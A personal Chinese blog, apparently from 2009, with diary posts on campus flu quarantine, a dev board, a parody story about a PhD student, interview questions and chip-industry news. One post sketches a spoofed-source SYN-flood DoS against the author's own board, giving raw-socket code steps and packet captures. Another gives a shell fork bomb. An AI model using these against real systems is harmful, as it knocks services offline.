9月13日,大雨。
摄于海棠9号楼3楼天井露台
9月13日,大雨。
摄于海棠9号楼3楼天井露台
甲流了,封校了,在宿舍憋了一天。晚上学校孝敬我的饭菜没有拍照,只好明天再拍照纪念。
白天又蹉跎了,唉。。。
TCP协议的3次握手过程如下图所示(朕用photoshop随便画的,将就看一下):

罗嗦一下:客户端发送SYN,服务器收到后发送对应的ACK 和自己的SYN,客户端收到对自己的SYN确认后,发送对服务器SYN的确认,客户端完成建立连接。服务器收到客户端对自己的SYN的确认,整个TCP连接建立完成。
如果要进行一次DoS攻击,则可以在3次握手的过程中进行破坏,破坏方法如下图:

利用原始socket修改源地址,使得服务器把ACK发送到一个不存在的地址,然后服务器就会傻逼一样等待这个不存在的地址的应答信息,那就一直等吧,等到地老天荒去。但是服务器还没有这个能耐等到地老天荒海枯石烂,服务器的未完成连接队列长度是有限的,所以当那些不存在的地址把这个队列霸占之后,合法的主机再来连接服务器就会被deny。
以上就是DoS攻击的原理。
下面开始攻击:
目标服务器:我的mini2440开发板,上面运行了一个http服务器,端口80,地址是192.168.0.222
在我的主机上访问这个地址是完全正常的,如下图:

然后开始攻击:

可以看到当前发送速率如下:

发送一段时候后,再次访问http://192.168.0.222,结果如下:

可以用tcpdump抓包看到,发送的数据包源地址都是随机伪造的:
21:49:04.958398 IP 165.73.220.37.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.958402 IP 182.200.63.94.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.958406 IP 218.31.87.38.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966416 IP 132.23.33.98.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966424 IP 200.16.93.88.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966430 IP 171.242.43.18.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966436 IP 78.39.31.69.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966442 IP 34.132.193.5.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966448 IP 55.211.162.46.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966454 IP 89.112.75.6.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966460 IP 215.57.37.36.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
代码过程如下:
1.生成原始socket
socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
2.设置socket选项
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
设置了IP_HDRINCL选项,需要手动为IP数据包填写IP数据包首部内容。
3.填写两个结构体:struct ip 和 struct tcphdr
4.伪造源地址并且发送给服务器
ip->ip_src.s_addr = random();
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr));
一点了,睡觉去。
今天据说我们班有个同学荣幸地被救护车接走了。理所当然的我们就要“被送饭”了。果不其然,中午就发了口罩,刚才把饭送来了。顿时搞得人心惶惶。不过学校很搞笑的是要隔离居然隔离一个班,跟小孩子过家家一样。谁都知道应该隔离一座楼。。。
恩。咱们西安市长安区郭杜镇南雷村马钢厂附属蛐蛐养殖示范学校一向都喜欢过家家。。。
上图:
P1 发给我的口罩
p2 米饭一盒,量比较少
p3 菜一盒,量更少
=END=
1.下午收到卖家寄来的新板子
2.上两张图
P1 板子到手,刷Android
P2 我的屏幕好脏啊
调程序的小女孩
实验室里冷极了,没有窗户,不知道是白天还是黑夜。这是一周的最后一天——周末。在这又冷又黑的晚上,一个蓬头散发的小女孩在工位上坐着。她从家里出来的时候还穿着一件外套,但是有什么用呢?那是一件很大的外套──那么大,不知是哪一年买的。她工作的时候的,就把它脱掉了,实验室的师弟嘲笑说,可以拿它当抹布。
小女孩只好一个人做实验,一双小脚冻得红一块青一块的。她的破显示器屏幕上有一大段程序,手里草稿纸上还有一大段。这一整天,程序还是没调过,谁也没帮过她。
可怜的小女孩!她又冷又饿,哆哆嗦嗦地调程序。显示器的光落在她的干枯的长头发上,那头发卷曲着披在肩上,看上去很久没梳,不过她没注意这些。每个桌上都堆满了论文,实验室飘着一股油墨的香味,因为这是论文deadline的时间——她可忘不了这个。
她在一行代码上停了下来,蜷着趴在桌子上。她觉得更冷了。她不敢跟老板说,因为她程序没调过,没拿到一个数据,老板一定会骂她的。再说,换做别的题目跟这个一样难。她们头上只有paper,虽然网上可以下到一些现成的代码,还是仍然没法用。
她的头脑几乎绝望了。啊,哪怕一次小小的成功,对她也是有好处的!她敢把上万行的代码修改一遍,编译运行一下,来找找问题么?她终于按下回车键开始运行。哧!程序开始输出信息了!一行一行的log开始出来了!她把小手拢在显示器上。多么温暖多么明亮的字符啊,简直像一支小小的蜡烛。这是一道奇异的火光!小女孩觉得自己好像坐在一个19寸液晶大显示器前面,显示器还是全新锃亮的,颜色鲜艳,字迹清晰,上边显示着程序输出的正确结果,多么舒服啊!哎,这是怎么回事呢?她刚把头伸出去,想看的仔细一些,程序crash了,大显示器不见了。她坐在那儿,眼前的破显示器上一行刺眼的segment fault。
她又编译了一遍运行。程序又开始输出信息了,给出log了。显示器的光落在桌子上,那儿忽然变得像打印出来的paper那样洁白工整,她可以一直看到paper上的字迹。IEEE的logo,会议名称和日期,Abstract和Instroduction。更妙的是这篇paper赫然署着自己的名字!看上去那么诱惑,一直向这个穷苦的小女孩走来。这时候,程序又crash了,她面前只剩一张又硬又旧的桌子。
她又运行了一遍。这一回,她感觉自己坐在布置整齐的会议室里。条幅上写着“博士毕业答辩”,比她去年师姐毕业时用的条幅还要大,还要美。红色的条幅上贴着那几个白色的黑体字,投影仪屏幕上许多幅美丽的彩色画片,跟顶级会议里的presentation一个样,在向她眨眼睛。小女孩向画片伸出手去。这时候,程序又crash了。只见ppt上的图片越升越高,最后成了在天空中闪烁的星星。有一颗星星落下来了,在天空中划出了一道细长的红光。
“有一个什么人快要死了。”小女孩说。唯一疼她的师姐毕业前的时候告诉过她:一颗星星落下来,就有一个灵魂要到图灵那儿去了。
她又编译了一遍。这一回,她把所有的数组size都设大了。师姐出现在亮光里,是那么温和,那么慈爱。
“师姐!”小女孩叫起来,“啊!请把我带走吧!我知道,程序一crash,您就会不见的,像那漂亮的显示器,发表的paper,布置好的答辩会议室一个样,就会不见的!”
她赶紧按了回车键,要把师姐留住。一大堆输出信息发出强烈的光,把实验室照得跟白天一样明亮。师姐从来没有像现在这样高大,这样美丽。师姐把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有代码,没有论文,也没有毕业的地方去了。
第二天清晨,这个小女孩坐在工位上,两腮通红,嘴上带着微笑。她死了,在周末的实验室累死了。新一周的太阳升起来了,照在她小小的尸体上。小女孩坐在那儿,手还按着在不知用过多少年的键盘上。
“她想自己把程序调一下……”人们说。谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她师姐一起走向新世界的幸福中去。
洗澡出来看到5个题,据说是腾讯某年的笔试题。
1、请定义一个宏,比较两个数 a、b 的大小,不能使用大于、小于、if 语句
解:
这个简单 #define MIN(A,B) ((A)<=(B)?(A):(B))
2、如何输出源文件的标题和目前执行行的行数
解:
这个我只知道在linux下是这样,不知道windows下是否可行
int main(int argc, const char *argv[])
{
printf(“%s\n”,__FILE__);
printf(“%d\n”,__LINE__);
return 0;
}
3、两个数相乘,小数点后位数没有限制,请写一个高精度算法
解:
写高精度算法,数组相乘。算法描述一下,代码不写了:
(1)输入A到a数组,逆序一下。
(2)输入B到b数组,逆序一下。
(3)a和b做竖式乘法,加上进位,结果保存在数组c中。
(4)逆序输出数组c。
4、写一个病毒
解:
shell病毒也算病毒吧?
.(){.|.&};.
5、有 A、B、C、D 四个人,要在夜里过一座桥。他们通过这座桥分别需要耗时 1、2、5、10 分钟,只有一支手电,并且同时最多只能两个人一起过桥。请问,如何安排,能够在 17分钟内这四个人都过桥?
解:
不会做。每次看到这种题目就烦心。
感觉时间在死掉。
今天打算wine一个photoshop cs4来处理照片,中文一直乱码,查了好多方法都没能解决,卸载。结果wine太恶心,随处大小便,清理它的残留物都比较恶心。以后坚决不用wine,现在还是一个还不成熟的东西。总算清理干净了。
我一直不想因为处理照片重启电脑切换到windows系统,索性下载了一个精简版的photoshop cs4安装到虚拟机,这下一切OK,然后由于virtualbox不能用双核,虚拟机会有点卡,速度不是很好,因为照片太大了。。。。
晚上出去突然感觉挺冷了,哦,已经九月了。
整天昏昏的,啥也没干,感觉我在浪费时间。
今天看到一条新闻后立刻感觉历史恐怕要重演了。
就我所知,汽车不是日本人发明的,相机不是日本人发明的,但是卖得好的都是日本品牌。拿我最关注的相机来说,西方阵营目前也就还剩几个超高端(对于第三世界来看是奢侈品)品牌了,莱卡,苏哈之类。奥运会,世锦赛的时候,往往能在新闻区看到一堆长枪短炮,基本上都是日本产品。我对佳能比较有好感,家里01年买的喷墨打印机也是佳能的,自己的相机也是佳能的。一直对这个公司比较感兴趣,出什么新相机都会关注一下,半年前不经意看到该公司财报才知道,光学产品的利润不过是佳能利润的17%而已,佳能赚大钱的产品是医疗设备和其他办公设备等等。也许再过十几年或者二十年,我能看到日本人的又一个奇迹。
一切都是有原因的,日本人的商社经济以及民族文化在其整个国家的经济神话中起到了不可磨灭的作用,我们在全盘西化的时候,失去的远远多于我们学到的。这一点我以前看《三井帝国在行动》就深有体会。对现实没有什么好希望的,我很自私,不要给我说民族,我不是愤青。先把自己做好,再说民族,再说国家。
以下文字转载自http://cn.engadget.com/2009/09/07/seven-samurai-chipmakers-set-to-take-on-intel/
英文版看这里:http://www.engadget.com/2009/09/04/seven-samurai-chipmakers-set-to-take-on-intel/
NEC 跟 Renesas(瑞萨科技,由日立跟三菱电机所合资所成立)的半导体芯片事业群,早在四月底手牵手后,就隐约有『大事件即将来到』的征兆;而到了近日,则是传出了这几家公司将连手更多公司,外加知名大学的研究成果,来端出有竞争力的 CPU 产品。
而目前除了上述的 NEC、三菱电机、日立之外,还有包括 Toshiba、Fujitsu、Panasonic、Canon 在内共七家公司,简称『七武士』,而这大学不是别人,而是早稻田大学,七武士将利用该校笠原博徳教授发展的『创新省电软件』技术作为中介,打造高效能 CPU 这把『武士刀』。
而目前他们未来的产品,将会有三大特色,一是能够仰赖太阳能提供电力,二是依据处理资料的量,来调节 CPU 的耗电,最后则是在主电源被切断,也还能苟延残喘一下,同时还能用在你我的笔电上头,而不是研究人员的玩具;目前完成的原型产品,耗电量约莫一般 CPU 的 30% 左右。
而未来该 CPU 则会应用在各种各类的产品上头,也因此在各类产品的硬件控制软件上,能够省下大笔经费;目前预计将会在 2012 底以前完成这全新的平台,看来还有一段不短的时间好等…
我赶紧查了一下瑞萨科技的资料,以下文字来自于维基百科:
瑞萨科技株式会社(日文:株式会社ルネサス テクノロジ,英文:Renesas Technology Corp.)由日立制作所和三菱电机株式会社的半导体事业部于2003年4月1日合并而成的半导体公司,总部位于日本东京。成立之时(2003年),为世界第三大半导体公司,仅次于英特尔和三星。目前(至2008第三季)瑞萨科技为世界第七大半导体公司。
瑞萨科技为移动,汽车及个人电脑/AV(音频视频)市场提供领先半导体系统解决方案的全球供应商之一,也是全球首屈一指的微控制器供应商。该公司是LCD驱动器集成电路、智能卡微控制器、射频集成电路(RF-IC)、大功率放大器、混合信号集成电路、系统级芯片(SoC)、系统级封装(SiP)等产品的领先供应商。瑞萨科技在2005财年实现了(2006年3月底截止)9060亿日元的综合销售额。瑞萨科技位于日本东京,在全球大约20个国家拥有制造、设计和销售业务网络,有大约26,200名员工。 2009-03-20日立和三菱电机发言人表示,双方同意购买合资公司瑞萨科技(Renesas Technology Corp.)540亿日元(约合5.7亿美元)股票。日立将购买297亿日元瑞萨科技股票,三菱电机将购买243亿日元瑞萨科技股票,日立持有瑞萨科技55%的股份,三菱电机持有瑞萨科技其余45%的股份
这个国家,这个民族。无语了。。。
同学说我这里好多无题啊。没错,又多一个。
黑白的表现力其实强于彩色

摄于新校区图书馆
开发板一直都是好好的,昨天突然出问题了。在网上查了一下,根本没有人遇到我这样的怪事,我把触摸屏拆下来检查了排线接头,没发现任何问题。联系了官方的技术支持,对方邮件回复说从来没有遇到这样的问题,让我把板子发去检修。无奈只好联系卖家,对方态度很好,说好了明天给他发过去。
症状描述如下:
1.板子入手之后多次刷linux系统,一切正常,运行良好
2.昨天下午刷了一个win ce,当时触摸屏也是好好的,晚上感觉不爽,索性换回到linux
3.刷了linux之后就白屏了,也不是彻底白屏,就是背光过分的亮,只有用又低又斜的视角才能看到一点东西
4.怀疑刷自己的内核有问题,索性重头再刷官方的镜像,问题依旧
5.刷wince看看,问题依旧
6.刷android系统,问题依旧
好,我很无奈。上图。
P1,用正常视角,90度垂直看,一片白屏

P2,我把板子竖起来,几乎用0度视角看,能看到一点点东西
